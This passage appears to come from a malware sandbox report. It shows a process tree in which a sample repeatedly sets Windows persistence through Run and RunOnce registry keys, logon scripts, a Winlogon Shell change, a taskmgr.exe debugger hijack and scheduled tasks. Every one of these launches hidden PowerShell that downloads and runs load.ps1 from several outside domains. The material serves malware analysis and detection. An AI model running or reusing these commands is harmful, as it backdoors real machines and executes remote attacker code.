            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
            2⤵
              PID:4932
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                3⤵
                • Adds Run key to start application
                PID:2756
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
              2⤵
                PID:5024
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
                  3⤵
                  • Registers new Windows logon scripts automatically executed at logon.
                  PID:3292
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                PID:3828
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                  3⤵
                  • Adds Run key to start application
                  PID:4768
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc onlogon /f
                2⤵
                • Executes a command shell one-liner
                PID:5028
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc onlogon /f
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2060
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                2⤵
                  PID:2384
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                    3⤵
                    • Event Triggered Execution: Image File Execution Options Injection
                    PID:2356
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc minute /mo 5 /f
                  2⤵
                    PID:1268
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc minute /mo 5 /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4184
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:3484
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                      3⤵
                      • Modifies WinLogon for persistence
                      PID:4528
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                    2⤵
                      PID:940
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
                        3⤵
                        • Registers new Windows logon scripts automatically executed at logon.
                        PID:644
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc onlogon /f
                      2⤵
                        PID:2092
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc onlogon /f
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3884
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc minute /mo 5 /f
                        2⤵
                        • Executes a command shell one-liner
                        PID:2472
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc minute /mo 5 /f
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1852
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                        2⤵
                        • Executes a command shell one-liner
                        PID:2804
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                            PID:1852
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                            3⤵
                            • Adds Run key to start application
                            • System Location Discovery: System Language Discovery
                            PID:3988
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                          2⤵
                          • Executes a command shell one-liner
                          PID:4804
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                            3⤵
                            • Adds Run key to start application
                            • System Location Discovery: System Language Discovery
                            PID:2980
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                          2⤵
                            PID:4004
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                              3⤵
                              • Event Triggered Execution: Image File Execution Options Injection
                              PID:3008
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                            2⤵
                              PID:556
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                                3⤵
                                • Modifies WinLogon for persistence
                                PID:2776
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                              2⤵
                                PID:4236
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
                                  3⤵
                                  • Registers new Windows logon scripts automatically executed at logon.
                                  PID:4344
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc onlogon /f
                                2⤵
                                  PID:2040
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc onlogon /f
                                    3⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:3648
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc minute /mo 5 /f
                                  2⤵
                                    PID:4192
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc minute /mo 5 /f
                                      3⤵
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:1068
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                    2⤵
                                    • Executes a command shell one-liner
                                    PID:116
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                      3⤵
                                      • Adds Run key to start application
                                      PID:220
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                    2⤵
                                      PID:4492
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                        3⤵
                                        • Adds Run key to start application
                                        PID:1760
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:1928
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                        3⤵
                                        • Event Triggered Execution: Image File Execution Options Injection
                                        PID:2776
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:2892
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                        3⤵
                                        • Modifies WinLogon for persistence
                                        PID:3152
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                      2⤵
                                        PID:4988
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          3⤵
                                            PID:644
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
                                            3⤵
                                            • Registers new Windows logon scripts automatically executed at logon.
                                            PID:2044
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc onlogon /f
                                          2⤵
                                            PID:2304
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc onlogon /f
                                              3⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:1604
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc minute /mo 5 /f
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:784
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc minute /mo 5 /f
                                              3⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:3464
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                            2⤵
                                            • Executes a command shell one-liner
                                            PID:2060
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                              3⤵
                                              • Adds Run key to start application
                                              PID:3700
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                            2⤵
                                            • Executes a command shell one-liner
                                            PID:1460
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                              3⤵
                                              • Adds Run key to start application
                                              PID:1420
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                            2⤵
                                              PID:4308
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                                3⤵
                                                • Event Triggered Execution: Image File Execution Options Injection
                                                PID:1464
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                              2⤵
                                                PID:2484
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                                  3⤵
                                                  • Modifies WinLogon for persistence
                                                  PID:1340
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                                2⤵
                                                • Executes a command shell one-liner
                                                PID:4468
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /f
                                                  3⤵
                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                  PID:2832
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /sc onlogon /f
                                                2⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3988
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /sc onlogon /f
                                                  3⤵
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:552
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /sc minute /mo 5 /f
                                                2⤵
                                                  PID:5012
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')\"" /sc minute /mo 5 /f
                                                    3⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:3956
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3500
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                    3⤵
                                                    • Adds Run key to start application
                                                    PID:2776
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                  2⤵
                                                  • Executes a command shell one-liner
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2236
                                                  • C:\Windows\System32\Conhost.exe
                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    3⤵
                                                      PID:1340
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                      3⤵
                                                      • Adds Run key to start application
                                                      PID:1076
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                    2⤵
                                                      PID:4348
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                        3⤵
                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                        PID:2360
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                      2⤵
                                                        PID:4852
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                          3⤵
                                                          • Modifies WinLogon for persistence
                                                          PID:5200
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                        2⤵
                                                          PID:1088
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
                                                            3⤵
                                                            • Registers new Windows logon scripts automatically executed at logon.
                                                            PID:5420
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc onlogon /f
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          PID:5116
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc onlogon /f
                                                            3⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:5496
                                                        • C:\Windows\SysWOW64\cmd.exe
